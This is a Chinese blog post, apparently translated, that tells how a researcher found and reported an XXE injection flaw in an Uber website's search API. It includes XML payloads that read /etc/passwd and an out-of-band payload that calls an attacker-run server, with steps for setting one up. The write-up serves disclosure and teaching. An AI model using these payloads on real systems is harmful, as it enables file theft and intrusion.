如何挖掘Uber网站的XXE注入漏洞

关注 2016-08-10 19:15:16 查看数 18198 ,评论数 2 技术控 Web安全

科普

什么是XXE注入漏洞? XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。在XML1.0标准里,XML文档结构⾥里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

正文

那是2016年7月26日的晚上,我游荡在ubermovement网站上,鉴于这只是一个小型应用网站,没有太多的参数可以进行注入测试,我只能先从界面上那大大的搜索框开始常规的测试。 u1 首先,打开我的 Burp Suite 设置代理开始监听浏览器请求,然后就是在网站上瞎转悠咯... 随后,我在网站目录中发现 “search” 存在两个请求: 1. 这个是我搜索的关键字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0 2. http://ubermovement.com/api/search/GeneralSearch u2 现在,对于第一个请求我要开始进行各种测试了,包括:XSS、SQL 注入、XPATH、XXE、命令注入... 但理想总是丰满的,而现实却是骨干的,我没有发现任何可能存在的漏洞。 那我只能开始继续测试第二请求了,由于其没有任何参数,所以我将其发送至 “Repeater” 模块,看看是否可能存在目录相关的漏洞。 u3 在大部分的注入测试全部失败后,我开始尝试看看是否存在 XXE 漏洞。 第一件事是先将请求方法改为 POST 看看会获得什么样的相应: u4 结果,POST 请求的相应跟 GET 请求一样,那么请求头部加一个Content-type:application/xml同时添加如下基本的 XML 代码作为请求怎么样呢?
<?xml version="1.0"encoding="utf-8"?> <GeneralSearch>cat</GeneralSearch>
u5 竟然回复的是一个 XML 错误,太好了,这下我有60%的把握确定这里存在 XXE 漏洞。既然确定了那就开始进行 Blind XEE 测试吧。 第一个使用如下 XML 代码:
<?xmlversion="1.0" encoding="utf-8"?> 
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>
但很不幸,我得到还是一个 XML 错误的回复。那现在来试试通过 OOB(Out-of-band)方法进行远程文件访问测试: step-1: 在本地上下载安装 XAMPP 并搭建一个网站 step-2: 开启 80 端口的网站,让外部网络能够访问到 step-3: 使用如下 Payoad:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>
step-4: 开始攻击,随后得到如下报错 u6 step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求 u7 u8 u9 至此,手工测试已经基本确定了目标存在 XXE 漏洞,那么再让我们用 AWVS 扫描确认下吧。 u10 确定目标存在 XXE 漏洞,那目标的子域名是否同样存在这个漏洞呢?来让我们使用 Google 搜索下就知道了,测试发现目标子域名同样也都存在这个漏洞,好了是时候提交漏洞了。  

*本文参考来源于nerdint  译者:RoarTalk  Mottoin小编整理发布

交流评论(2)
Loading...
点击 ,就能发表评论哦~如果您还没有账号,请 一个吧
  •  2016-08-11 14:58:25

    真心牛逼 经验丰富啊 老司机求带

css.php
正在加载中...